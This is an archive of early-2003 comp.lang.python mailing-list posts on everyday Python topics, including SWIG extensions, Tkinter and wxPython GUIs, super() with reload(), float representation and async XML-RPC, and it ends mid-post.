From ark at research.att.com  Sun Jan  5 10:21:19 2003
From: ark at research.att.com (Andrew Koenig)
Date: Sun, 5 Jan 2003 15:21:19 GMT
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <3E17F0F6.3EB4BD8B@ifsdadfassdfa.invalid>
Message-ID: <yu99hecny64w.fsf@europa.research.att.com>

Jive> .Net is Visual Basic, right:?  It only runs on MS Windows
Jive> machines, right?

I'm no expert in the subject, but I know for certain that the answer
to your first question is no.  I am also pretty sure that whatever the
answer to your second question is right now, it is intended to be no
in the future.

-- 
Andrew Koenig, ark at research.att.com, http://www.research.att.com/info/ark



From zope at thewebsons.com  Sat Jan 11 04:46:01 2003
From: zope at thewebsons.com (beno)
Date: Sat, 11 Jan 2003 05:46:01 -0400
Subject: Stackless Python, Tail Recursion and Functional
  Programming 
In-Reply-To: <200301110701.h0B71kjL023043@ratthing-b246.strakt.com>
References: <Message from beno <zope@thewebsons.com>
 <5.1.0.14.0.20030111011527.021ee5e0@mail.thewebsons.com>
 <5.1.0.14.0.20030111011527.021ee5e0@mail.thewebsons.com>
Message-ID: <5.1.0.14.0.20030111054355.00b3d898@mail.thewebsons.com>

At 08:01 AM 1/11/2003 +0100, you wrote:
>Christian Tismer is the man responsible for Stackless.
>
>You will be interested in this new announcement:
>
>http://mail.python.org/pipermail/python-announce-list/2003-January/001964.html
>
>So you could reinforce your idea 'something that does tail recursions
>would be nice'...

So..my question du jour...

***
Does stackless python optimize tail recursion?
***

You seem to be saying it does, but would you come right out and say it? <g> 
The article you referenced doesn't say it, and another post indicates it 
doesn't have anything to do with tail recursion.
Thanks,
beno






From mertz at gnosis.cx  Thu Jan 30 22:07:11 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Thu, 30 Jan 2003 22:07:11 -0500
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com>
 <mailman.1043950983.29401.python-list@python.org>
 <gDg_9.5337$Wu1.408645@newsread1.prod.itd.earthlink.net>
 <mailman.1043972221.1990.python-list@python.org>
Message-ID: <fheO+kKkX4aE092yn@gnosis.cx>         

holger krekel <pyth at devel.trillke.net> wrote previously:
|> But it's also bug-free.
|That's a bold statement which even brilliant programmers tend to avoid.

I would go even further than Holger.  I think it a pretty firm rule that
the more experienced and talented a programmer is, the LESS likely s/he
is to claim her code is bug free.

Probably-this-very-post-has-bugs-ly yours, Lulu...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From lac at strakt.com  Sat Jan  4 16:18:50 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 04 Jan 2003 22:18:50 +0100
Subject: new years resolutions 
In-Reply-To: Message from Cliff Wells <clifford.wells@attbi.com> 
   of "04 Jan 2003 11:53:06 PST." <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> 
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> 
Message-ID: <200301042118.h04LIojL016758@ratthing-b246.strakt.com>

> On Sat, 2003-01-04 at 11:05, Laura Creighton wrote:
> > <snip>
> > 
> > > Ah, but you are equating "computer background" with "CS background"
> > > which ignores a large segment of knowledgeable people.  There is a guy
> > > at my work who built a serial IO card using nothing but a pen plotter to
> > > etch the circuit board, a small processor (and a couple of support
> > > chips) and his own custom firmware.  I doubt many CS majors could do the
> > > same, yet they would somehow exclude his POV in favor of their own,
> > > despite the fact that their entire world ceases to exist without people
> > > like him.  Ask yourself, is computing about software, or about
> > > hardware?  Obviously both, but I can assure you that hardware without
> > > software is far more useful than the reverse <wink>.
> > > 
> > > -- 
> > > Cliff Wells <clifford.wells at attbi.com>
> > 
> > I don't think that dividing 'csc == software' and 'engineering ==
> > hardware' is the best possible way to distinguish between them.  A
> 
> Well, clearly the world can be divided in any two ways an argument
> requires.  I usually divide it into "people who agree with me" and
> "people who are wrong".  It makes my position so much more defensible ;)
> As an aside, you personally usually get lumped with the latter, unless
> you happen to agree with me, in which case you're the best <wink>.

Some basic tendancy in me to generalise causes me to suspect that this
places me alongside everybody else ...


> Anyway, my rather arbitrary division (perhaps mis-equated) was useful
> for making a particular point.

Yes, but my life would have run an awful lot easier if I had understood
when accepted to both Science and Engineering schools, that the fact
that I like building things was significant.  I suppose I was expected
to figure this one out for myself, but I didn't ...

<snip>
> 
> >From my own experience, it isn't so cut-and-dried as far as type of
> personality.  I tend to dislike applied mathematics (preferring pure
> theory), but get bored by CS theory, preferring actual applications.  
> But then I spend all day on the 'net and don't get anything done anyway
> ;)

Nothing wrong with simply loving mathematics for its own sake in my
book ...  but it is tough to teach an algorithm class when you are
convinced that you are the only person in there who wouldn't rather
be _anywhere_ else.

And a friend of mine, who was asked to fill in for a professor who
was away at a conference for an algorithm course, had this interesting
experience.  When he got to class, he discovered that, due to some
sort of miscommunication, the class he had prepared had already been
taught by the absent professor.  The students were expecting to hear 
a lecture about some other algorithm which he didn't know very well
and was in no position to teach.  He said 'ooops'.

But, rallying for the occasion, he decided that if he couldn't teach
what the students wanted, and it was pointless to teach what they
already had studied, he would give them 'what he thought they should
know which isn't on any course'.  And he taught them 'how to write a
unit test', with emphasis on 'write the test first, and the code
second'.  Come term end, guess what class was rated as the best for
that course?  It is not computer science, but it is still something
worth learning ....

Laura Creighton




From ben at wintersun.org  Wed Jan 22 17:59:41 2003
From: ben at wintersun.org (Ben Caradoc-Davies)
Date: Wed, 22 Jan 2003 22:59:41 GMT
Subject: Plans for PIL in standard library?
Message-ID: <slrnb2u8hr.19r.ben@localhost.localdomain>

Are there any plans to add PIL to the standard library? Or it considered too
big?

Some package vendors (i.e. Red Hat) still do not include PIL among their Python
packages. Adding PIL to the standard library would be a strong incentive for
them to include it.

-- 
Ben Caradoc-Davies <ben at wintersun.org>
http://wintersun.org/
Imprisonment on arrival is the authentic Australian immigration experience.



From nagylzs at freemail.hu  Fri Jan 10 09:04:14 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Fri, 10 Jan 2003 15:04:14 +0100
Subject: pickle and weakref
Message-ID: <3E1ED2DE.5080402@freemail.hu>

> print a.c          # None
> print a.ref_b    # <weakref at 0x???? to 'instance' at 0x????>, 
> references to pickled instances should be unpickled gracefully
> print a.ref_c    # <weakref at ????; dead>, references to other (not 
> pickled) instances should be unpickled as a dead reference
>
Sorry, "print a.c" was a mistake.

 Laci 1.0





From carl_bevil at yahoo.com  Fri Jan 24 15:19:59 2003
From: carl_bevil at yahoo.com (Carl Bevil)
Date: Fri, 24 Jan 2003 12:19:59 -0800
Subject: Using SWIG to build Python extensions -- help!
Message-ID: <CFN376455138856829@news.mindspring.com>

Hello all.  I'm experimenting with using SWIG to build a Python extension.  I 
have a really simple C++ file that I'd like to extend Python with as a test.

I'm building the interpreter as a library that I statically link into my main 
application.  Dynamic linking is not an option for my target platform, so I've 
downloaded the Python source code.  I'm using Python 2.1.3.

I create two files, swigtest.cpp and swigtest.h.  swigtest.h has a function 
prototype, and swigtest.cpp has the function body.

Then I run SWIG:

swig -python -c++ -module swigtest swigtest.h

This builds two files: swigtest.py and swigtest_wrap.cxx.  I rename the latter 
to swigtest.cpp, as the compiler I'm using (Metrowerks) doesn't like .cxx files.

Then I compile and link swigtest_wrap.cpp and swigtest.cpp into the python 
interpreter, creating a python21_d.lib file (I'm on Windows).

Then I build my main application (a C++ app), and link it statically with the 
python interpreter library that I just built.

When I run, I execute the following statement:

PyRun_SimpleString("import swigtest");

.. and I get an error that there is no module named swigtest.

What am I doing wrong here?  And do I need to do anything with the swigtest.py 
file that SWIG creates? I've read the chapter in O'Reilly's Programming Python 
on extending Python, but it makes no mention of SWIG generating a .py file.  
And all of its examples are dynamically linked.

Thanks!

Carl



From theller at python.net  Thu Jan 16 13:19:53 2003
From: theller at python.net (Thomas Heller)
Date: 16 Jan 2003 19:19:53 +0100
Subject: Bug with super() and reload()?
References: <of6h1crt.fsf@python.net> <mailman.1042736654.11092.python-list@python.org>
Message-ID: <hec9lzxy.fsf@python.net>

Jp Calderone <exarkun at intarweb.us> writes:

> On Thu, Jan 16, 2003 at 01:48:22PM +0100, Thomas Heller wrote:
> > I stumbled over the following problem with super() and reload().
> > 
> > Consider this module:
> > 
> > [snip code]
> > 
> > prints this traceback:
> > 
> >     Y.test
> >     Traceback (most recent call last):
> >       File "<stdin>", line 8, in ?
> >       File "mod.py", line 8, in test
> >         super(Y, self).test()
> >     TypeError: super(type, obj): obj must be an instance or subtype of type
> > 
> > Thinking hard, I can understand why this traceback occurs: The object
> > 'y' is not an instance of the 'Y' refered to in the source code.
> > 
> > Should this be considered a bug, or is it simply a wart, and reload
> > should be avoided?
> 
>   One could look at it as a wart, though I personally wouldn't.  Regardless,
> it can be worked around.

Anything which needs workarounds is a wart, IMO.

> 
> See twisted.python.rebuild (http://www.twistedmatrix.com) for an example of
> how ;)
> 

Thanks for the pointer, I'll look it up (later, maybe). Twisted
is not yet in my toolbox, although I feel it should be.

The easiest workaround for me is to use the good old
  def test(self):
      print "something"
      X.test(self)

instead of

  def test(self):
      print "something"
      super(Y, self).test()

I'm most happy its not a bug in my code: this occured in the context
of developing inprocess ActiveX controls in ctypes ;-), and first
I was really shocked to see the error message.

Thomas



From kare at speech.kth.se  Thu Jan 23 11:27:27 2003
From: kare at speech.kth.se (Kare Sjolander)
Date: Thu, 23 Jan 2003 17:27:27 +0100
Subject: Sound programming: Tone production in Python?
References: <mailman.1043268167.29013.python-list@python.org>
Message-ID: <3E3017EF.AE791E6D@speech.kth.se>

The script below will generate your tones using the Snack package
(http://www.speech.kth.se/snack/)

Kare

from Tkinter import *
from tkSnack import *

root = Tkinter.Tk()
initializeSnack(root)

s1 = Sound(channels='2',rate='22050')
s2 = Sound(channels='2',rate='22050')

leftMap = Filter('map', 1, 0, 0, 0)
rightMap = Filter('map', 0, 0, 0, 1)
leftGenerator = Filter('generator', 200.0, 20000, 0.0, 'sine', 2*22500)
rightGenerator = Filter('generator', 205.0, 20000, 0.0, 'sine', 2*22500)
leftFilter = Filter('compose', leftGenerator, leftMap)
rightFilter = Filter('compose', rightGenerator, rightMap)

s1.play(filter=leftFilter)
s2.play(filter=rightFilter)






From cnetzer at mail.arc.nasa.gov  Tue Jan 28 17:51:04 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 28 Jan 2003 14:51:04 -0800
Subject: Which exception to use?
In-Reply-To: <200301282243.OAA21575@mail.arc.nasa.gov>
References: <b16lui$j3s$1@bob.news.rcn.net> <1043788144.6329.60.camel@refugeeMedia> <200301282243.OAA21575@mail.arc.nasa.gov>
Message-ID: <200301282251.OAA02548@mail.arc.nasa.gov>

On Tuesday 28 January 2003 14:43, Chad Netzer wrote:
>
>     def eggs( self, x ):
>         # Pretend we only will accept non-negative numbers
>         arg_assert( x > 0, "argument to 'eggs()' must not be "

   That should have been "x >= 0".

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From markus.vonehr at ipm.fhg.de  Thu Jan 23 10:31:29 2003
From: markus.vonehr at ipm.fhg.de (Markus von Ehr)
Date: Thu, 23 Jan 2003 16:31:29 +0100
Subject: wxPanel and Sizers question
Message-ID: <3E300AD1.8AE42379@ipm.fhg.de>

Hi,

I want to create a Panel wherein several controls should be
displayed vertically arranged.
The problem is, that only the first button: "one" is
displayed. I don't know where the problem is, because in
several examples it's done like that.

class MyWindow(wxPanel):
    def __init__(self, parent, ID):
        wxPanel.__init__(self, parent, -1)
       
        box = wxBoxSizer(wxVERTICAL)
        box.AddWindow(wxButton(self, 1, "one"), 0, wxEXPAND)
        box.AddWindow(wxButton(self, 1, "two"), 0, wxEXPAND)
        box.AddWindow(wxButton(self, 1, "three"), 0, wxEXPAND)
        box.AddWindow(wxButton(self, 1, "four"), 0, wxEXPAND)

Any hints? Thanks,

Markus



From bvdpoel at kootenay.com  Fri Jan 24 15:01:16 2003
From: bvdpoel at kootenay.com (Bob van der Poel)
Date: Fri, 24 Jan 2003 13:01:16 -0700
Subject: tkinter + unicode + bug or feature??
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org>
Message-ID: <3E319B8C.8020801@kootenay.com>


Jp Calderone wrote:
> On Fri, Jan 24, 2003 at 11:28:19AM -0700, Bob van der Poel wrote:
> 
>>[snip]
>>
>>So, can I force tkinter to return non-unicode strings? Or can I write a 
>>function to convert all my Entry widget strings to be non-unicode. And, 
>>I am dreaming that this is a new problem? I recently upgraded my Linux 
>>box to mandrade 9.0 and it has installed python 2.2.1.
>>
> 
> 
>   Python MegaWidgets provides an EntryField class that lets you specify
> arbitrary validation functions for the input.  You could use it, or write
> your own mini-subclass of Entry that -just- prevents unicode input, and then
> use that class instead of Entry.  I'm not aware of a solution that will let
> you continue using Tkinter.Entry and not get unicode input (at least, one
> that isn't a dirty hack).
> 
>   Jp
> 

Okay. I'll have to look at the MegaWidget stuff later. I'm just thinking 
that doing something like string=entrywidget.get().encode('iso8859-1') 
should do the trick. Not sure, though, what encoding to use. Is there a 
pythonic way to determine the best to use?


-- 
Bob van der Poel ** Wynndel, British Columbia, CANADA **
EMAIL: bvdpoel at kootenay.com
WWW:   http://www.kootenay.com/~bvdpoel




From rwest2 at opti.cgi.net  Thu Jan  2 00:37:37 2003
From: rwest2 at opti.cgi.net (Richard West)
Date: Thu, 02 Jan 2003 05:37:37 GMT
Subject: HTMLParser and Quotes
Message-ID: <qpj71v0as06msdmoj6nep17dptnvtqlml6@4ax.com>

This evening I found a case that crashes HTMLParser (lib 2.2.2) which
probably shouldn't.  Check out the following code:


from HTMLParser import HTMLParser

test = """<html>
<body>
<font face=arial,helvetica>test</font>
</body>
</html>"""

x = HTMLParser()
x.feed(test)


The face should obviously have quotes around its value, but under the
circumstances I would think HTMLParser should take anything up until
the next space or end of the tag as its value.

-Richard





From tvassila at siac.com  Fri Jan 31 09:48:23 2003
From: tvassila at siac.com (Thanos Vassilakis)
Date: Fri, 31 Jan 2003 09:48:23 -0500
Subject: php frontend, python backend
Message-ID: <OF265CC811.59CE2074-ON85256CBF.005134A4@nsmtp.siac.com>

You should also look at :

http://www.scriptfoundry.com/modules/pso/doc/pso-example.html

Which shows you hoew to build a portal in python very quickly.

thanos





From phoebe_1 at att.net  Thu Jan  9 15:19:40 2003
From: phoebe_1 at att.net (Holden Caulfield)
Date: 9 Jan 2003 12:19:40 -0800
Subject: problems installing python 2.2.2 on solaris 8
References: <pan.2003.01.09.15.08.00.420658@hotmail.com>
Message-ID: <c2595393.0301091219.79547f98@posting.google.com>

"John Bernhardt" <alaxsxaq at hotmail.com> wrote in message news:<pan.2003.01.09.15.08.00.420658 at hotmail.com>...
> I'm trying to get Python 2.2.2 installed on a solaris 8 SPARC system
> and have run into a problem that I need some help resolving.  On this
> system, I can successfully compile Python and the compiled version
> passes all of the tests run by 'make test'.  However, when I do a
> make install, there are quite a few modules that do not get copied
> into /usr/local/lib/python2.2 including the socket and time modules;
> more I'm sure, but my scripts fail on loading smtplib because those
> two modules are not installed.
> 
> Any clues?

I had the same problem. For some reason, the dynamic modules permissions are
not changed when installing (at least that was my problem).
check the lib-dynload subdirectory and make sure that the permissions of the
".so" files are 644, in my case they were 600, which caused the failure to
load.



From cnetzer at mail.arc.nasa.gov  Thu Jan 30 23:11:54 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 30 Jan 2003 20:11:54 -0800
Subject: Implicit lists
In-Reply-To: <3E39ED6F.5030703@tismer.com>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
	 <mailman.1043939395.30256.python-list@python.org>
	 <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de>
	 <3E39ED6F.5030703@tismer.com>
Message-ID: <1043986314.679.52.camel@sayge.arc.nasa.gov>

On Thu, 2003-01-30 at 19:28, Christian Tismer wrote:

> In my opinion, the crux of this all is the decision
> that strings are iterable.

Ah, but I work with Numeric arrays a lot, which are also iterable, and
which I like to package into tuple or lists for various reasons.  These
same problems can crop up as well (must be careful to pass a sequence of
arrays, rather than just an array, etc).  So it isn't just strings that
present a problem.

Using variable parameters, you could build an interface that will accept
single arguments (ie. foo(x) ), and would accept iterable objects or
sequences as long as you explicitly specified that (ie. foo(*seq) ),
while rejecting single arg sequences.  A bit ugly, but could be useful
with lots of string/list/tuple mixes.

so,

def foo( *args ):
    for a in args: print a,

a_string = "baked beans"
a_list_of_strings = [ "spam", "spam", "spam", "spam", "baked beans",
"spam" ]

foo( a_string )  # okay
foo( *a_list_of_strings )  #okay
foo( a_list_of_strings )  # could be made to NOT be okay

Messy, but it forces the user to consider the difference between using a
single arg, or using a list of arguments.

Anyway, it is just an (possibly lack-of-sleep-induced) idea.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From max at alcyone.com  Wed Jan 29 21:59:36 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 18:59:36 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] 
 Minimal Python project)
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <a626bbd7.0301291212.56379a7c@posting.google.com> <mailman.1043872269.28600.python-list@python.org>
Message-ID: <3E389518.9C114150@alcyone.com>

holger krekel wrote:

> robin wrote:
>
> > Christian Tismer <tismer at tismer.com> wrote:
> >
> > > Anyone having some good suggestions?
> >
> > Wouldn't the most minimal name be simply "P"?
> 
> I thought so, too. But the pronounciation is 'pee'
> which probably disqualifies it.

Ah, but just think about it:

"I consider myself a P afficionado."

"I'm near expert in the proper usage of P."

"I like to play with P in my spare time."

"I drink P and it gives me super powers."

Okay, I just threw that last one in to confuse you.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The work will teach you how to do it.
\__/ (an Estonian proverb)
    Python chess module / http://www.alcyone.com/pyos/chess/
 A chess game adjudicator in Python.



From shawnwheatley at mailcan.com  Fri Jan 17 13:54:37 2003
From: shawnwheatley at mailcan.com (shawnwheatley at mailcan.com)
Date: Fri, 17 Jan 2003 10:54:37 -0800
Subject: Testimonial
In-Reply-To: <69413f9.0301170622.42542a85@posting.google.com>
References: <69413f9.0301170622.42542a85@posting.google.com>
Message-ID: <20030117185437.D718E18A36@www.fastmail.fm>

On 17 Jan 2003 06:22:00 -0800, "Phil Schmidt" <pschmidt at omnimn.com> said:
> -- My latest somewhat-big project is a home accounting program (I
> refuse to pay for commercial stuff that tries to do everything for
> everybody, and requires a multi-GHz multi-GByte PC with terabytes of
> hard drive space and 3-d graphics. Accounting, at core, is simple, and
> the software should be too!). I chose to make this a console
> application, so had to figure out a simple but extensible method of
> doing the menus. With only a few hours of trying out different
> methods, I had settled on something I liked. The ability to do quick
> prototyping is an amazing productivity booster!

Out of curiosity, what did you end up doing for the "graphics" (text
menus, etc)?  I'd like to do something similar and have it work for
Windows (I don't think ncurses will work without Cygwin or something
similar)

Shawn
-- 
  
  shawnwheatley at mailcan.com

-- 
http://fastmail.fm - Or how I learned to stop worrying and
                      love email again




From cnetzer at mail.arc.nasa.gov  Thu Jan 23 18:43:43 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 23 Jan 2003 15:43:43 -0800
Subject: How to do this in Python...
In-Reply-To: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
Message-ID: <200301232343.PAA25722@mail.arc.nasa.gov>

On Thursday 23 January 2003 13:40, Michael Tiller wrote:
>  It seems to me that my current options are:
>
> match = re.match(pattern, string)
> if match:
>   // do something with match object

This is the 'pythonic' way, since it separates the test from the 
assignment.  To be pedantic, it should probably be:

match = re.match(pattern, string)
if match is not None:
    # do something with match object

Since if's can test for more than boolean values, and match is defined 
to return None when it fails to match anything, not a False value.  
It's an adjustment coming from C/C++, but a small one.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From missive at frontiernet.net  Sat Jan 18 22:10:12 2003
From: missive at frontiernet.net (Lee Harr)
Date: Sun, 19 Jan 2003 03:10:12 -0000
Subject: socket programming strategy
References: <000601c2bf1d$df4b3540$9e88013d@JeethuRao> <mailman.1042939895.31788.python-list@python.org>
Message-ID: <v2k5ok7uf46i7d@corp.supernews.com>

> If you can chunk your number crunching into smallish pieces, then I'd
> recommend using Twisted, and letting it take care of the intracacies of
> non-blocking sockets for you.
> 

I recommend Twisted also. Once you understand how to use the framework,
it is very quick to get something running.




From donnalcwalter at yahoo.com  Thu Jan  2 12:18:56 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Thu, 2 Jan 2003 11:18:56 -0600
Subject: Printing
References: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl>
Message-ID: <av1s8f$nbv$1@main.gmane.org>

"Pawel J. Maczewski" <pjmacz at slcj.uw.edu.pl> wrote in message
news:Pine.LNX.4.33L2.0301021351090.3730-100000 at cyryl.slcj.uw.edu.pl...
> Hi,
>   I have a question: how to print (sic!) in python (I use wxPy). The point
> is, that is should be os-independent :) I can generate the data to print
> in XML, HTML, PS... how to print it under windows? ;)

Since you are using wxPython, have you looked at wxHtmlPrintout? It works
pretty well for me under Windows and it should be os-independent as well.

Donnal Walter
Arkansas Children's Hospital








From max at alcyone.com  Wed Jan 15 21:31:43 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 15 Jan 2003 18:31:43 -0800
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042675649.4334.python-list@python.org>
Message-ID: <3E26198F.24E1EC4@alcyone.com>

Tim Peters wrote:

> Whether any entity in the US apart from the government can
> meaningfully put
> something in the public domain appears to have the legal answer "no",
> according to one US lawyer who researched the issue.  Businesses and
> individuals supposedly can't disclaim copyright (the meaning of
> "public
> domain" -- nobody holds copyright) even if they want to.

Uh, where in the world do you get this idea?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ And there inside our private war / I died the night before
\__/ Sade
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From adalke at mindspring.com  Thu Jan  9 17:07:27 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 15:07:27 -0700
Subject: sorted unique elements from a list; using 2.3 features
In-Reply-To: <13a533e8.0301091334.662637cd@posting.google.com>
References: <mailman.1041832210.3104.python-list@python.org> <avbltt$kb4$1@slb0.atl.mindspring.net> <13a533e8.0301091334.662637cd@posting.google.com>
Message-ID: <avks95$g4i$1@slb6.atl.mindspring.net>

Peter Abel wrote:
> Im using Python 2.2.2 and without the 2.3. - features the
> following seems to work fine:
>  
>>>>input=[5, 3, 1, 2, 5, 4, 3, 4, 1, 1, 5, 4, 5, 1, 4, 3, 2, 2, 4, 1]
>>>>output=dict( zip(input ,range(len(input)) ) ).keys()
>>>>output
> [1, 2, 3, 4, 5]
> 
> What Im wondering about is the fact that in several examples
> even without the [sort ...] I always got a sorted output.

My guess is it's because the hash function used for integers is
the integer itself, so the hash values are 1, 2, 3, 4.  These then
get put into slot 1, 2, 3, and 4, which are then visited in that
order to get the values.

Put a -1 in the list.  You'll get

[1, 2, 3, 4, 5, -1]

I think the initial hash size is about 8 elements

 >>> for i in range(10000):
...     assert dict(zip(range(i, i+5), range(i, i+5))).keys() == 
range(i, i+5)
...
Traceback (most recent call last):
   File "<stdin>", line 2, in ?
AssertionError
 >>> i
4
 >>>

 >>> for i in range(10000):
...     assert dict(zip(range(i, i+2), range(i, i+2))).keys() == 
range(i, i+2)
...
Traceback (most recent call last):
   File "<stdin>", line 2, in ?
AssertionError
 >>> i
7
 >>>

that is,
 >>> dict(zip((7, 9), (0, 0))).keys()
[9, 7]
 >>> dict(zip((7, 8), (0, 0))).keys()
[8, 7]
 >>> dict(zip((6, 7), (0, 0))).keys()
[6, 7]
 >>>


BTW, this would have been a bit faster and used less memory

 >>> output=dict( zip(input , (0,)* len(input)) ).keys()
            |-----------------------------------|
                same as dict.from_keys(input, 0) in Python 2.3

					Andrew


					Andrew




From martin at v.loewis.de  Sun Jan 26 05:34:19 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 26 Jan 2003 11:34:19 +0100
Subject: Something like asynchronous XML-RPC possible?
References: <mailman.1043454645.26543.python-list@python.org> <cb035744.0301250336.4f378943@posting.google.com> <mailman.1043503544.26424.python-list@python.org> <3e332d16$0$49106$e4fe514c@news.xs4all.nl> <mailman.1043542005.6078.python-list@python.org> <cb035744.0301260227.6890778c@posting.google.com>
Message-ID: <m3wukskxn8.fsf@mira.informatik.hu-berlin.de>

hwlgw at hotmail.com (Will Stuyvesant) writes:

> 1) A caller must be able to continue immediately after issuing an
> event: no blocking waiting for a return value
> 
> 2) Language interoperability.  Preferably using an international
> standard.  This is what XML-RPC is good at.  The whole thing will be
> based on components written in different languages (Python, C, Java,
> ...).  For now XML-RPC is even better than SOAP because the SOAP
> standard is fluctuating.
>
> 
> 3) Speed.  This will always be limited by today's state of the art in
> technology, but for example starting a new thread to do a normal
> synchronous XML-RPC call will meet strong opposition.

Strictly interpreted, these two requirements may narrow the options to
CORBA only: If it is not acceptable that a reply is sent, then you
cannot use XML-RPC (which isn't an international standard, either),
since XML-RPC *does* include mandatory replies. So if you want true
oneway operations, CORBA is pretty much your only choice.

Regards,
Martin



From ark at gmx.net  Thu Jan 23 18:11:47 2003
From: ark at gmx.net (Arne Koewing)
Date: Fri, 24 Jan 2003 00:11:47 +0100
Subject: Why is 2.3 = 2.2999999999999998 ?
Message-ID: <b0puig$o99@news.Informatik.Uni-Oldenburg.DE>

my puthon installation seems to ce confused about floats...

>>> 2.1
2.1000000000000001
>>> 2.2
2.2000000000000002
>>> 2.3
2.2999999999999998
>>> 2.4
2.3999999999999999
>>> 2.5
2.5
>>> 2.6
2.6000000000000001
>>> 

 this happens on debian/sid

Python 2.2.2 (#1, Jan 18 2003, 10:18:59) 
[GCC 3.2.2 20030109 (Debian prerelease)] on linux2

and also
Python 2.1.3+ (#1, Jan 18 2003, 09:26:15) 
[GCC 3.2.2 20030109 (Debian prerelease)] on linux2

any ideas? 

Arne



From tim.one at comcast.net  Wed Jan 22 21:13:18 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 22 Jan 2003 21:13:18 -0500
Subject: Name space pollution
In-Reply-To: <200301222336.h0MNaRe29779@guava.araneus.fi>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEOPDJAB.tim.one@comcast.net>

[Andreas Gustafsson]
> ...
> Python also pollutes a number of other common symbols in a similar way,
> for example, "cmpfunc", "hashfunc", and "initproc".
>
> Is there any chance this will be fixed?

Sure.  It's exactly equal to the chance that someone who cares enough to do
the work contributes a patch to do it.  They have their work cut for them,
though, as such names are part of Python C API, and any number of extension
modules rely on the current names.  So, e.g., a layer of optional
backward-compatibility macros would also be needed.  Throw a PEP into the
mix too, and the chance keeps diving toward zero <wink>.





From mfranklin1 at gatwick.westerngeco.slb.com  Mon Jan 13 09:52:18 2003
From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin)
Date: Mon, 13 Jan 2003 14:52:18 +0000
Subject: tkinter file selector
In-Reply-To: <18f9f477.0301130635.42ebcb5a@posting.google.com>
References: <18f9f477.0301130635.42ebcb5a@posting.google.com>
Message-ID: <1042469539.1204.14.camel@m-franklin>

On Mon, 2003-01-13 at 14:35, Natacha wrote:
> Hello,
> 
> We are using Python in environnement windows and we need help.
> 
> We want to use tkinter for an interface graphic so for this it s ok
> 
> The problem is in this programm :
> 
> you can execute it to see . When you click on 'Parcourir', i would
> like to have the functions who give the files in the harddisk and


<snip>

A simple example of the tkFileDialog :-

from Tkinter import *
import tkFileDialog

root = Tk()

def select_file():
    file = tkFileDialog.askopenfilename()
    print file

b=Button(root, text="Select", command = select_file)
b.pack()

root.mainloop()


HTH
Martin










From vanevery at 3DProgrammer.com  Wed Jan 29 23:10:56 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 04:10:56 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com>  of "Tue, 28 Jan 2003 19:49:10 +0100." <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com>
Message-ID: <kB1_9.3814$wd2.301194@newsread2.prod.itd.earthlink.net>

Nomad wrote:
>
> C makes it easy to shoot yourself in the foot.  However, with C++,
